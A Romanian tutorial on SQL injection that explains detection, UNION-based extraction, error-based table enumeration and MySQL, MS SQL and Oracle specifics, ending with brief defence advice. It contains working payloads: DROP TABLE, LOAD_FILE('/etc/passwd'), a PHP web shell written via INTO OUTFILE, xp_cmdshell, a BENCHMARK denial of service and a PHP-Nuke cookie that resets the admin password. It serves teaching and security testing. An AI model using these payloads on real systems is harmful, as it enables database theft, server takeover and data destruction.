1.    Introducere:

Astazi, foarte multe  aplicatii web isi pastreaza datele in baza de date , deoarece acest  lucru permite generarea de pagini dinamice. Aplicatia web primeste de la  utilizator date, aceste date sunt utilizate de aplicatie/script pentru a  genera o cerere la baza de date.
In majoritatea cazurilor pentru a genera cereri la baza de date este utilizat limbajul SQL (Structured Query Language).

SQL Injection este o vulnerabilitate web ce apare atunci cand  datele primite de la utilizator nu sunt prelucrate correct. Atunci un  raufacator poate schimba cererea la baza de date, astfel incat sa faca  posibil furtul datelor private.

2.    Bazele SQL Injection :
Sa presupunem ca avem in baza de date urmatorul tabel (users):

O interogare care extrage datele din baza de date poate arata asa:

SELECT * FROM users WHERE name =’$name’

In acest caz, valorile campului "name” sunt comparate cu valoarea variabilei "$name”.
Daca valoarea variabilei "$name” a fost obtinuta din  parametric URL sau din cookie si nu este prelucrata la simboluri  speciale atunci interogarea  la baza de date este vulnerabila.
Raufacatorul poate modifica interogarea in felul urmator:
Daca variabila "$name” primeste valoarea "z0r”, atunci cererea la baza de date va fi urmatoarea:

SELECT * FROM users WHERE  name = 'z0r'

Interogarea este corecta. Dar daca valoarea variabilei va primi  valoarea " zzz’ " interogarea va devein incorecta din punct de vedere syntactic, deoarece aceasta prezinta un symbol " ‘ " in plus:

SELECT * FROM users WHERE name =’zzz’’

Simbolul ‘ face posibila modificarea cererii la baza de date si nu este singurul simbol care poate face acest lucru.
Sa presupunem ca cererea de mai sus este folosita de o aplicatie web  pentru a afisa datele private ale utilizatorului current logat. Folosind  simbolul ‘ raufacatorul poate sa vada cu  usurinta datele private ale tuturor utilizatorilor inregistrati,  transmitand una din urmatoarele valori pentru parametrul $name.

Vom presupune ca in system sunt inregistrati utilizatorii "Admin”, " ZeroCold” si "Settriks”:

random_data’ OR name=’Adminrandom_data’

random_data’ OR name=’ZeroColdrandom_data’ 

random_data’ OR name=’Settriks

Cererile SQL catre baza de date vor fi:

SELECT * FROM users WHERE name=’random_data’ OR name=’Admin’

SELECT * FROM users WHERE name=’random_data’ OR name=’ZeroCold’

SELECT * FROM users WHERE name=’random_data’ OR name=’Settriks’

Injectarea permite  extragerea datelor unui utilizator. Raufacatorul daca doreste poate sa  obtina date despre toti utilizatorii transmitand variabilei $name valoarea:

random_data’ OR ‘1’=’1

Cerearea cu codul injectat arata asa:

SELECT * FROM users WHERE name=’random_data’ OR ‘1’=’1’

Va intoarce toate inregistrarile din tabelul users.

3.    Moduri de testare a aplicatiilor web la SQL Injection

Modurile de testare a aplicatiilor web la SQL Injection  constau in formarea unei liste de parametric cu care lucreaza aplicatia (  atat parametrii GET cat si cei POST), incluzand si parametric cookie.
Apoi acesti parametri sunt testati individual la prelucrarea  simbolurilor speciale sau a cuvintelor cheie (de genul WHERE) care ar  ajuta la exploatarea vulnerabilitatii.

3.1    Identificarea parametrilor vulnerabili

Sa presupunem ca aplicatia web este configurata in asa  fel incat in cazul aparitiei unei erori SQL, in browser va aparea textul  erorii si posibil si o portiune din interogare. Daca raufacatorului I  se afiseaza chiar si o portiune de interogare, injectarea codului SQL  malicios nu va fi o problema.

Presupunem ca aplicatiei web I s-a trimis un parametru GET id=zzz’:

http://127.0.0.1/inj.php?id=zzz’

Pentru a determina daca parametrul este vulnerabil este nevoie de a cauta in pagina returnata de server fraze de genul :

"have an error”,  "SQL syntax”, "SQL Server”, "MySQL”, "Oracle” etc.

Exista cazuri  in care erorile returnate de server se  plaseaza in parametri ascunsi (hidden input, headers) sau comentarii.
In acest caz raufacatorului ii este foarte usor sa injecteze un cod SQL malicious:

http://127.0.0.1/inj.php?id=zzz’;+drop+table+users;--

Trebuie mentrionat ca nu toate SGBD permit concatenarea interogarilor la baza de date.
Este foarte raspandita situatia cand in textul erorii returnate de  server poate fi aflat tipul bazei de date pe care o foloseste aplicatia  web:

Warning: mysql_fetch_object(): supplied argument is not a valid MySQL resultresource in …

Textul erorii de mai sus este util raufacatorului la formarea codului SQL malicios ce este specific unui tip de SGBD.

3.2    Identificarea parametrilor vulnerabili in cazurile cand nu se afiseaza erorile

Sa presupunem ca erorile ce apar in cazurile cererilor  la baza de date nu sunt afisate. Atunci raufacatorului ii ramane  posibilitatea de a determina prezenta vulnerabilitatii dupa  comportamentul aplicatiei web.
Cu o mare probabilitate se poate spune ca parametrul este  vulnerabil atunci cand serverul returneaza erorile 302 (page redirect)  si 500 (internal server error).
In acest caz raufacatorul va utilize tehnici mai avansate.

Pentru a le intelege este nevoie sa cunoasteti tipurile de  baza SQL. Atributele SQL pot avea unul din cele 3 tipuri de baza: –  numeric;
- sir de charactere;
- datetime.

Fiecare tip are caracteristicile sale specific care pot auta raufacatorul in exploatarea vulnerabilitatii.
In SQL parametrii numerici se transmit asa cum sunt, iar sirurile de  caractere si valorile datetime sunt transmise intre ghilimele (unele  SGBD permit transmiterea si a valorilor numerice intre ghilimele):

SELECT * FROM users WHERE id=5

SELECT * FROM users WHERE name=’Admin’

Testarea la SQL Injection a parametrilor numerici este foarte simpla:

http://127.0.0.1/inj.php?id=5’

http://127.0.0.1/inj.php?id=6-1

http://127.0.0.1/inj.php?id=4+1

Daca parametrul id este vulnerabil in  primul caz va genera o eroare SQL (sau o exceptie: error 302,500 – cand  erorile SGBD nu se afiseaza) deoarece cererea:

/* 1 */ SELECT * FROM users WHERE id=5’

Nu este corecta din punct de vedere syntactic.
Cererile 2a si  2b:

/* 2a */ SELECT * FROM users WHERE id=6-1

/* 2b */ SELECT * FROM users WHERE id=4+1

Se vor executa correct si  vor da ambele acelasi rezultat (vor extrage inregistrarile din baza de  date cu valoarea variabilei id=5), indicand 100% ca parametrul numeric  id este vulnerabil.
O tehnica similara se foloseste la testarea parametrilor  de tip sir caracatere cu exceptia unor diferente: valorile parametrilor  sunt transmise intre ghilimele iar concatenarea sirurilor de caractere  in diferite SGBD este realizata diferit (MySQL si MSSQL Server foloseste  semnul +, iar Oracle semnul ||).

Modul de testare al parametrului name:

http://127.0.0.1/inj.php?name=ZeroCold

are deasemenea 2 cazuri posibile.
In primul caz, parametrului i se transmite o valoare care o sa genereze eroare SQL:

http://127.0.0.1/inj,php?name=Zero’Cold

Cererea SQL ce va genera eroare arata asa:

/* 1 */ SELECT * FROM users WHERE name=’Zero’Cold’

Va genera eroare deoarece este prezent simbolul ‘ in plus.
In al doi-lea caz, parametrului I se transmite o valoare care indica vulnerabilitatea acestuia:

http://127.0.0.1/inj.php?name=Zero’+’Cold

http://127.0.0.1/inj.php?name=ZeroC’+’old

Cererile catre baza de date vor arata astfel:

/* 2a */ SELECT * FROM users WHERE name=’Zero’+’Cold’

/* 2b */ SELECT * FROM users WHERE name=’ZeroC’+’old’

Ambele cereri SQL sunt corecte, ele returneaza acelasi rezultat.

3.3    Parametrii vulnerabili in cookie

Dupa cum se stie aplicatia web primeste de la utilizatori date  din cereri GET si POST dar si din cookies. Majoritatea programatorilor  web nici nu presupun ca parametrii primiti din cookie pot fi  vulnerabili.   Un exemplu pe baza portalului PHP-Nuke versiunea 7.0 care  dupa cum se stie este vulnerabil SQL Injection.
In cookie se pastreaza un sir de caractere de forma base64_encode(login:md5(pass)).
O portiune din cookies:

...

*

admin

YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6

127.0.0.1/phpnuke/

adminYWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6

127.0.0.1/phpnuke/

admin

YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6

127.0.0.1/phpnuke/

admin

YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6

127.0.0.1/phpnuke/

admin

YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6

127.0.0.1/phpnuke/

...

Sirul de  caractere este codat in base64:

YWRtaW46OTZINzkyMTg5NjVIYjcyYzkyYTU0OWRkNWEzMzAxMTI6

Decodat va fi:

admin:96e79218965eb72c92a549dd6a330112:

Unde admin = login si 96e79218965eb72c92a549dd6a330112= md6(pass) (functia hash md5 a parolei), simbolul : este auxiliar.
O portiune din cod a fisierului de autorizare a utilizatorilor auth.php:

...

f(isset($admin) && $admin != "") { // daca exista variabila $admin

$admin = base64_decode($admin); // se decodeaza din base64 (din cookie)

$admin = explode(":", $admin); // se imparte sirul in pina si dupa ":”

$aid = "$admin[0]"; // login-ul

$pwd = "$admin[1]"; // md5(parola) – md5 hash din cookie

...

$sql = "SELECT pwd FROM ".$prefix."_authors WHERE aid='$aid'"; // !!!

...

Dupa cum observati variabila $aid primita din cookie nu este filtrate la simboluri special si este vulnerabila.
Astfel raufacatorul poate modifica cookies. Plasand in locul sirului de caractere:

YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6

Sirul:

YWRtaW4nOyB1cGRhdGUgbnVrZV9hdXRob3JzIFNFVCBwd 2Q9J2M5ODY5ZGQwNDA3MTc4ZjQxZjBlMmE1NGQxMGI4Nzc1

JyBXSEVSRSBhaWQ9J2FkbWluOjk2ZTc5MjE4OTY1ZWI3MmM5Mm E1NDlkZDVhMzMwMTEyOg==

Decodat este:

admin'; update nuke_authors SET pwd='c9869dd0407178f41f0e2a54d10b8775' WHERE aid='admin:96e79218965eb72c92a549dd5a330112:

Unde c9869dd0407178f41f0e2a54d10b8775 este functia hash md5 a parolei ‘hacked_password’.

Ce se va intampla?? Parola administratorului va fi schimbata.

4.    Metode de atac

Sa presupunem ca raufacatorul gaseste un parametru vulnerabil.  Pentru a exploata vulnerabilitatea raufacatorul trebuie sa cunoasca  tipul cererii SQL in care se va injecta codul malicios.
Cel mai des in aplicatiile web sunt utilizate 4 tipuri de cereri SQL:

1.    SELECT

2.    INSERT

3.    UPDATE

4.    DELETE

Care dintre acestea este folosit intr-un caz concret? Poate fi determinat analizand logica si semantic scriptului vulnerabil.
Daca scriptul afiseaza date ce corespund unui identificator anumit, atunci cu o mare probabilitate cererea este de tipul SELECT;
Daca scriptul adauga unele date in baza de date, de exemplu adaugarea  unui comentariu sau un post in forum, atunci cererea este de tipul INSERT;
Daca scriptul modifica informatia, de exemplu schimbarea parole,  editarea postului in forum, cererea este de tipul UPDATE;                                                                    

Daca are  loc stergerea informatiei, spre exemplu anularea unui account, este  posibil ca cererea sa fie de tipul DELETE sau de tipul UPDATE.
Cel mai des sunt intalnite vulnerabilitati in cereri SELECT.

4.1    Injectarea UNION SELECT

Deoarece cele mai des vulnerabile sun cererile de tipul select,  raufacatorii in primul rand vor incerca sa injecteze clause UNION  SELECT, deoarece in caz de success raufacatorul va obtine acces la toate  tabelele de system. In aceste tabele se gasesc informatii depre  structura tuturor bazelor de date de pe server. Mai jos este prezentata  lista tabelelor de system pentru diferite SGBD:

1. MS SQL Server

INFORMATION_SCHEMA                                                    sysobjects                                                                      syscolumns

2. MySQL

mysql.user 

 mysql.host

mysql.db

3.    Oracle

SYS.USER_OBJECT

SSYS.USER_TABLES

SYS.USER_VIEWS

SYS.USER_TAB_COLUMNS

SYS.TABSYS.ALL_TABLES

Inainte de a efectua injectarea UNION SELECT raufacatorul trebuie sa afle numeral de attribute in cererea SQL,  tipul fiecarui atribut si denumirea unor tabele de system ceea ce se  considera greu de realizat in cazurile cand erorile nu se afiseaza in  browser. Cererea UNION SELECT trebuie sa contina acelasi numar de attribute, iar atributele trebuie sa fie de acelasi tip.

4.1.1    Identificarea numarului de attribute

Mai intai voi arata cat de simplu se afla numarul de atribute in cazul in care erorile sunt afisate in browser.
Sa presupunem ca exista urmatoarea vulnerabilitate in aplicatia web ce utilizeaza SGBD MySQL:

http://127.0.0.1/inj.php?id=5’

Pentru a afla numarul de atribute raufacatorul va forma cererile:

http://127.0.0.1/inj.php?id=-1’+UNION+SELECT+0/*

http://127.0.0.1/inj.php?id=-1’+UNION+SELECT+0,1/*

http://127.0.0.1/inj.php?id=-1’+UNION+SELECT+0,1,2/*

http://127.0.0.1/inj.php?id=-1’+UNION+SELECT+0,1,2,3/*….

Pana cand mesajul de eroare va disparea:

The used SELECT statements have different number of columns

Logurile MySQL:

mysql> select * from users where id=-1 union select 0;

ERROR 1218: The used SELECT statements have a different number of columns

mysql> select * from users where id=-1 union select 0,1;

ERROR 1218: The used SELECT statements have a different number of columns

mysql> select * from users where id=-1 union select 0,1,2;

ERROR 1218: The used SELECT statements have a different number of columns

mysql> select * from users where id=-1 union select 0,1,2,3;

ERROR 1218: The used SELECT statements have a different number of columns

mysql> select * from users where id=-1 union select 0,1,2,3,4;

ERROR 1218: The used SELECT statements have a different number of columns

mysql> select * from users where id=-1 union select 0,1,2,3,4,5;

+----+------+--------+----------+-------+------------+

| id | name | mgroup | password | email | ip_address |

+----+------+--------+----------+-------+------------+

| 0 | 1 | 2 | 3 | 4 | 5 |

+----+------+--------+----------+-------+------------+

1 row in set (0.00 sec)

In cazul cand erorile cererii SQL nu se afiseaza in browser, raufacatorul se va folosi de clauza ORDER BY pan ace va aparea mesajul de eroare:

http://127.0.0.1/inj.php?id=-1+ORDER+BY+1/*

http://127.0.0.1/inj.php?id=-1+ORDER+BY+2/*

http://127.0.0.1/inj.php?id=-1+ORDER+BY+3/*

….

Logurile MySQL:

mysql> select * from users where id=-1 order by 1;

Empty set (0.01 sec)

mysql> select * from users where id=-1 order by 2;

Empty set (0.00 sec)

mysql> select * from users where id=-1 order by 3;

Empty set (0.00 sec)

mysql> select * from users where id=-1 order by 4;

Empty set (0.00 sec)

mysql> select * from users where id=-1 order by 5;

Empty set (0.00 sec)

mysql> select * from users where id=-1 order by 6;

Empty set (0.00 sec)

mysql> select * from users where id=-1 order by 7;

ERROR 1054: Unknown column '7' in 'order clause'

Deoarece o cerere de tip SELECT are cel putin un atribut, aceasta tehnica este foarte efectiva.
Raufacatorul incrementeaza numarul coloanei cupa care se face sortarea  sic and aplicatia web afiseaza o eroare (302, 500) numarul exact al  coloaneor se stie.

4.1.2    Identificarea tipului atributelor

Dupa ce se cunoaste numarul de atribute, trebuie sa aflam tipul acestora.
In MySQL tipul datelor este foarte usor de determinat deoarece valorile  numerice pot fi considerate si ca valori sir de caractere. Insa atunci  cand se folosesc SGBD MS SQL Server sau Oracle deseori pt a rezolva  problema data se utilizeaza cuvantul NULL, deoarece acesta poate avea  orice tip.
Presupunand ca numarul de atribute este calculate , raufacatorului ii  este foarte usor sa injecteze clauza UNION cu toate atributele nule.
Adaugarea instructiunii WHERE care intotdeauna va fi evaluate ca falsa  garanteaza eliminarea erorilor (unele aplicatii pot sa nu prelucreze  falorile NULL)
Voi adduce un exemplu pentru SGBD MS SQL Server (ceeea ce este similar cu SGBD Oracle):

http://127.0.0.1/inj.asp?id=-1’+UNION+SELECT+NULL,NULL,NULL,NULL,NULL,NULL+WHERE+1=2--

Acest tip de injectare cu NULL are 2 scopuri. Principalul scop este de a  obtine o cerere cu UNION fara erori. SI cealalta – aceasta cerere nu  returneaza numic, ceea ce dovedeste ca totul lucreaza corect.

Odata ce este formata cererea procesorul de identificare  a tipurilor  atributelor, fiecarui atribut i se va da valori numerice, sir de  character sau datetime.

-1’+UNION+SELECT+1,NULL,NULL,NULL,NULL,NULL+WHERE+1=2—

Nici o eroare – primul atribut este numeric

-1’+UNION+SELECT+1,2,NULL,NULL,NULL,NULL+WHERE+1=2—

Eroare

-1’+UNION+SELECT+1,’2’,NULL,NULL,NULL,NULL+WHERE+1=2—

Nici o eroare – al doilea atribut are tipul sir caractere

-1’+UNION+SELECT+1,’2’,3,NULL,NULL,NULL+WHERE+1=2—

Nici o eroare – al 3-lea atribut este numeric
…

Astfel, astfel avand toata informatia, datele din tabelele  de sistem pot fi obtinute cu success.
Un exemplu de obtinere a datelor din SGBD MySQL:

mysql> select * from users where id=-1 union select 0,1,2,mysql.user.password,4,5 from mysql.user;

+----+------+--------+----------+-------+------------+

| id | name | mgroup | password | email | ip_address |

+----+------+--------+----------+-------+------------+

| 0 | 1 | 2 | fdsJD83h | 4 | 5 |

+----+------+--------+----------+-------+------------+

1 row in set (0.00 sec)

4.2    Obtinerea unui interpretator de comenzi

Unele SGBD permit extragerea rezultatelor cererii SQL intr-un  fisier. Acest lucru permite raufacatorilor de a forma un script care  ulterior va fi util pentru controlul total al serverului (spre exemplu  un php sau asp shell).
In MySQL extragerea rezultatelor in fisier se face utilizand clauza INTO OUTFILE. Un exemplu sumplu ar fi urmatorul:

INSERT ‘ <? System($cmd) ?> ‘ INTO OUTFILE /tmp/shell.php

In MS SQL Server extragerea rezultatelor in fisier difera putin.
In component cu serverul sunt unele module ce contin procedure ce  usureaza lucrul cu serverul si care pot fi apelate direct din cererea  SQL.
Una din aceste procedure – master.dbo.sp_makewebtask – are destinatia aceasta.
O alta metoda de a executa comenzi de sistem pe serverul pe care este instalat SGBD MS SQL Server este utilizarea procedurii master.dbo.xp_cmdshell.

Un exemplu de cerere SQL:

EXEC master.dbo.xp_cmdshell ‘cmd.exe dir’

4.3    Metode specifice asupra unui anumit tip de SGBD

4.3.1    MySQL

SQL Injection permite sa aflati si alte date:
/* baza de date curenta */

select * from users where id=-1 UNION SELECT 0,1,2,3,4,DATABASE();

/* utilizatorul care a lansat baza de date */

select * from users where id=-1 UNION SELECT 0,1,2,3,4,USER();

/* versiunea serverului */

select * from users where id=-1 UNION SELECT 0,1,2,3,4,VERSION();

Daca utilizatorul care a lansat SGBD  are drepturi file_priv, atunci raufacatorul poate obtine continutul  oricarui fisier de pe server:

http://127.0.0.1/inj.php?id=-1’+UNION+SELECT+0,1,2,3,4,5,LOAD_FILE(‘/etc/passwd’)/*

O alta metoda de exploatare a vulnerabilitatii este utilizarea functiei char(num) care reintoarce simbolul cu codul ASCII num:

select * from users where id=9999 union select 0,1,2,char(109,121,115,113,108,46,117,115,101,114,46,112,97,115,115,119,111,114,100),4,5 from mysql.user

ceea ce este echivalent cu:

select * from users where id=9999 union select 0,1,2,mysql.user.password,4,5 from mysql.user

Vulnerabilitatea SQL injection poate fi exploatata si pentru realizarea atacului DoS:

select * from users where id= BENCHMARK(10000000,BENCHMARK(10000000, md5(current_date)))

trimiterea de catre raufacator a cîteva cereri de acest fel va face serverul sa frîneze considerabil.

4.3.2    MS SQL Server

In baza de date de sistem INFORMATION_SCHEMA se gaseste informatia despre toate tabelele de pe server.
Extragerea datelor din baza de date poate fi cu usurinta facuta in cazul cand mesajele de erori ODBC ce se afiseaza in browser.
Sa presupunem ca exista o aplicatie web vulnerabila:

http://127.0.0.1/?page_id=1’

Pentru inceput raufacatorul va afla  denumirile tabelelor din baza de date, astfel va fi formata o cerere SQL  malicioasa care ar extrage numele primului table:

http://127.0.0.1/?page_id=-1’;SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES--

Serverul va reîntoarce:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type smallint

Denumirea primului tabel din baza de date este table1. Apoi pentru a  afla denumirile celorlalte tabele raufacatorul pe rînd va forma  urmatoarele cereri:

http://127.0.0.1/?page_id=-1’;SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1')—

Raspunsul serverului:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table2' to a column of data type smallint

Cererea urmatoare va fi:

http://127.0.0.1/?page_id=-1’;SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1','table2')—

Acest exemplu demonstreaza cît de folositoare de dovedesc a fi mesajele de eroare returnate de server pentru raufacator.

5. Caracteristici tipice a SGBD
5.1. MySQL

1. Suporta INTO OUTFILE
2. Majoritatea modulelor si bibliotecilor nu permit executarea cererilor multiple la baza de date
3. Suporta interogari UNION si JOIN (doar versiunile > =4.0)
4. Permite transmiterea valorilor numerice între ghilimele

5.2. Oracle
1. Suporta subselect
2. Suporta UNION
3. Nu permite executarea cererilor multiple la baza de date
4. Simbolul || se foloseste pentru concatenarea sirurilor de caractere

5.3. MS SQL
1. Suporta subselect
2. Suporta UNION
3. Permite executarea cererilor multiple la baza de date
4. Simbolul + se foloseste pentru concatenarea sirurilor de caractere

6.  Metode de aparare

Pentru a evita o posibila exploatare a vulnerabilitatii SQL  Injection în aplicatia web, este necesar de a prelucra toate datele ce  provin de la utilizatori la urmatoarele simboluri:

1) Ghilimelele atit simple cît si duble (‘, ", `). Cu ajutorul acestora  în majoritatea cazurilor se efectuiaza injectarea codului SQL.
2) Simbolurile de comentarii specifice SGBD anumit (/*,–). Cu ajutorul acestora poate fi omisa o parte din interogare.
3) Simbolurile ce împart instructiunile SQL ( ; ). Prezenta acestui simbol permite de a forma mai multe cereri la baza de date.
4) Deasemenea datele ar trebui sa fie verificate la prezenta si la alte simboluri (_,%,*).
5) In cazul cînd în cererea SQL se utilizeaza date numerice primite de  la utilizatori, înainte de a le plasa în cererea SQL acestea ar trebui  aduse la tipul numeric:
$id=(int)$id;
6) In cazul cînd în cererea SQL se utilizeaza date de tip sir de  caractere primite de la utilizatori, înainte de a le plasa în cererea  SQL acestea ar trebui prelucrate la simboluri speciale.
Cea mai buna practica – este formarea expresiilor regulate.